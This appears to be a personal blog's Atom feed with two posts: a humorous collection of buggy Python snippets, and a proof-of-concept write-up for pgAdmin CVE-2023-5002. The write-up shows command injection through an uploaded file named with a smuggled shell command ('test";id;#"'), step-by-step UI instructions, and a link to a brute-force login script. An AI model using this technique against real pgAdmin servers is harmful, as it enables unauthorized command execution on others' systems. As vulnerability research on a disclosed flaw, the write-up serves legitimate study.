<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://dorosch.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://dorosch.github.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2024-08-07T21:03:21+00:00</updated><id>https://dorosch.github.io/feed.xml</id><title type="html">dorosch blog</title><subtitle>Description with HTML</subtitle><author><name>Andrey Doroschenko</name><email>andrei.daraschenka@gmail.com</email></author><entry><title type="html">Funny pieces of code</title><link href="https://dorosch.github.io/funny-pieces-of-code/" rel="alternate" type="text/html" title="Funny pieces of code" /><published>2024-03-25T12:00:00+00:00</published><updated>2024-03-25T12:00:00+00:00</updated><id>https://dorosch.github.io/funny-pieces-of-code</id><content type="html" xml:base="https://dorosch.github.io/funny-pieces-of-code/"><![CDATA[<h1 id="introduction">Introduction</h1>

<h2 id="disclaimer">Disclaimer</h2>

<p>These examples are not intended to offend or humiliate anyone. 
Some of the examples belong to me, others belong to people with whom I worked. 
Treat this as a post of irony.</p>

<h3 id="even-more-serializers">Even more serializers</h3>

<p>During the development of the application, such incidents happen:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_serializer_class</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="s">'list'</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">TeamSerializer</span>
    <span class="k">elif</span> <span class="bp">self</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="s">'retrieve'</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">TeamSerializer</span>
    <span class="k">elif</span> <span class="bp">self</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="s">'create'</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">TeamSerializer</span>
</code></pre></div></div>

<h3 id="security-is-our-everything">Security is our everything</h3>

<p>Safety is very important, but sometimes it’s so easy to forget about it:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">make_url_by_contract</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">contract_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">scheme</span> <span class="o">=</span> <span class="s">'https'</span> <span class="k">if</span> <span class="n">settings</span><span class="p">.</span><span class="n">TAPI_USE_SSL</span> <span class="k">else</span> <span class="s">'http'</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">schema</span><span class="si">}</span><span class="s">://</span><span class="si">{</span><span class="n">settings</span><span class="p">.</span><span class="n">TAPI_HOST</span><span class="si">}</span><span class="s">/call/</span><span class="si">{</span><span class="n">contract_name</span><span class="si">}</span><span class="s">'</span>
</code></pre></div></div>

<h3 id="maybe-in-a-parallel-universe">Maybe in a parallel universe</h3>

<p>We are very lucky that in our universe there is no such number that is less than zero and greater than 7:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_short_description</span><span class="p">(</span><span class="n">text</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">words</span> <span class="o">=</span> <span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">words</span><span class="p">[:</span><span class="mi">7</span><span class="p">]</span> <span class="k">if</span> <span class="mi">0</span> <span class="o">&gt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">words</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">7</span> <span class="k">else</span> <span class="n">text</span>
</code></pre></div></div>]]></content><author><name>Andrey Doroschenko</name><email>andrei.daraschenka@gmail.com</email></author><category term="code" /><summary type="html"><![CDATA[A collection of funny pieces of code collected from my practice]]></summary></entry><entry><title type="html">PgAdmin CVE-2023-5002 exploitation</title><link href="https://dorosch.github.io/pgadmin-cve-2023-5002/" rel="alternate" type="text/html" title="PgAdmin CVE-2023-5002 exploitation" /><published>2024-03-10T12:00:00+00:00</published><updated>2024-03-10T12:00:00+00:00</updated><id>https://dorosch.github.io/pgadmin-cve-2023-5002</id><content type="html" xml:base="https://dorosch.github.io/pgadmin-cve-2023-5002/"><![CDATA[<h1 id="cve-2023-5002">CVE-2023-5002</h1>

<h2 id="description">Description</h2>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-5002">This vulnerability</a> is a continuation of vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-4223">CVE-2022-4223</a> (<a href="https://frycos.github.io/vulns4free/2022/12/02/rce-in-20-minutes.html">there is a good article</a> about this vulnerability).</p>

<p><a href="https://github.com/gronke">A security researcher</a> found the vulnerability and <a href="https://github.com/pgadmin-org/pgadmin4/pull/6772">created a pull request</a> with a fix and example of command injection:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="o">&gt;&gt;&gt;</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">getoutput</span><span class="p">(</span><span class="sa">r</span><span class="s">'echo "{0}"'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"Hello $(whoami)"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'"'</span><span class="p">,</span> <span class="s">'""'</span><span class="p">))</span>
<span class="n">Hello</span> <span class="n">gronke</span>
</code></pre></div></div>

<p>The problem is that pgadmin allows you to check the existence of utilities by passing the path to them:
<img src="/assets/img/pgadmin-cve-2023-5002/pgadmin-1.png" /></p>

<p>in this case, <a href="https://github.com/pgadmin-org/pgadmin4/blob/c08953b9b386e302835585bded6da4df70358e71/web/pgadmin/misc/__init__.py#L268">validation is carried out</a> only for the existence of such a path:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
    <span class="c1"># if path doesn't exist raise exception
</span>    <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">binary_path</span><span class="p">):</span>
        <span class="n">current_app</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="n">warning</span><span class="p">(</span><span class="s">'Invalid binary path.'</span><span class="p">)</span>
        <span class="k">raise</span> <span class="nb">Exception</span><span class="p">()</span>
    <span class="c1"># Get the output of the '--version' command
</span>    <span class="n">version_string</span> <span class="o">=</span> \
        <span class="n">subprocess</span><span class="p">.</span><span class="n">getoutput</span><span class="p">(</span><span class="s">'"{0}" --version'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">full_path</span><span class="p">))</span>
<span class="p">...</span>
</code></pre></div></div>

<p>For such a check to pass, the file must exist in the system. Fortunately, pgadmin has a storage manager that allows you to upload any files.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>We have everything to exploit the vulnerability.</p>

<p>We should start by preparing a file that needs to be uploaded to <code class="language-plaintext highlighter-rouge">pgadmin</code>. Since command execution occurs when the file name puts in <code class="language-plaintext highlighter-rouge">subprocess.getoutput</code>, the file must simultaneously be a valid path and command.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">touch</span> <span class="s1">'test";id;#"'</span>
<span class="nv">$ </span>python3
<span class="o">&gt;&gt;&gt;</span> import os, subprocess
<span class="o">&gt;&gt;&gt;</span> os.path.exists<span class="o">(</span><span class="s1">'test";id;#"'</span><span class="o">)</span>
True
<span class="o">&gt;&gt;&gt;</span> subprocess.getoutput<span class="o">(</span><span class="s1">'"{0}" --version'</span>.format<span class="o">(</span><span class="s1">'test";id;#"'</span><span class="o">))</span>
<span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>user<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>user<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>user<span class="o">)</span>
</code></pre></div></div>

<p>After preparing the file, we need to upload it <code class="language-plaintext highlighter-rouge">tools -&gt; storage manager -&gt; upload</code>:
<img src="/assets/img/pgadmin-cve-2023-5002/pgadmin-2.png" /></p>

<p>Our file loaded, but the double quotes were removed:
<img src="/assets/img/pgadmin-cve-2023-5002/pgadmin-3.png" /></p>

<p>We also need to rename the file to return double quotes instead of url encoded chars:
<img src="/assets/img/pgadmin-cve-2023-5002/pgadmin-4.png" /></p>

<p>By default, <code class="language-plaintext highlighter-rouge">pgadmin</code> saves all downloaded files in <code class="language-plaintext highlighter-rouge">/var/lib/pgadmin/storage/user@domain.com</code> but with the <code class="language-plaintext highlighter-rouge">@</code> character replaced by <code class="language-plaintext highlighter-rouge">_</code>.</p>

<p>You can find the exact path in the settings (they can be read by an authorized user via the <code class="language-plaintext highlighter-rouge">API</code>):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="n">STORAGE_DIR</span> <span class="o">=</span> <span class="s">"/var/lib/pgadmin/storage"</span>
<span class="p">...</span>
</code></pre></div></div>

<p>And finally run our file for execution <code class="language-plaintext highlighter-rouge">file -&gt; preference -&gt; binary path</code> used full path to our file <code class="language-plaintext highlighter-rouge">/var/lib/pgadmin/storage/user_domain/test";id;#"</code>:
<img src="/assets/img/pgadmin-cve-2023-5002/pgadmin-5.png" /></p>

<h2 id="bonus-parts">Bonus parts</h2>

<h3 id="cve-2024-2044">CVE-2024-2044</h3>

<p>Just a week ago (from the moment of writing this article) <a href="https://github.com/pgadmin-org/pgadmin4/issues/7258">an issue was created</a> in pgadmin with a new RCE (<a href="https://gist.github.com/dorosch/1c751711f553187094e5019e60c1788d">backup link</a>).</p>

<h3 id="brute-force-login">Brute-force login</h3>

<p>As a bonus to vulnerability, <a href="https://gist.github.com/dorosch/8320a91106d0684d6d2784def2d0cede">get a script</a> for brute force login in PgAdmin as a gift.</p>]]></content><author><name>Andrey Doroschenko</name><email>andrei.daraschenka@gmail.com</email></author><category term="hack" /><category term="exploit" /><category term="rce" /><summary type="html"><![CDATA[La la la short description for rss]]></summary></entry></feed>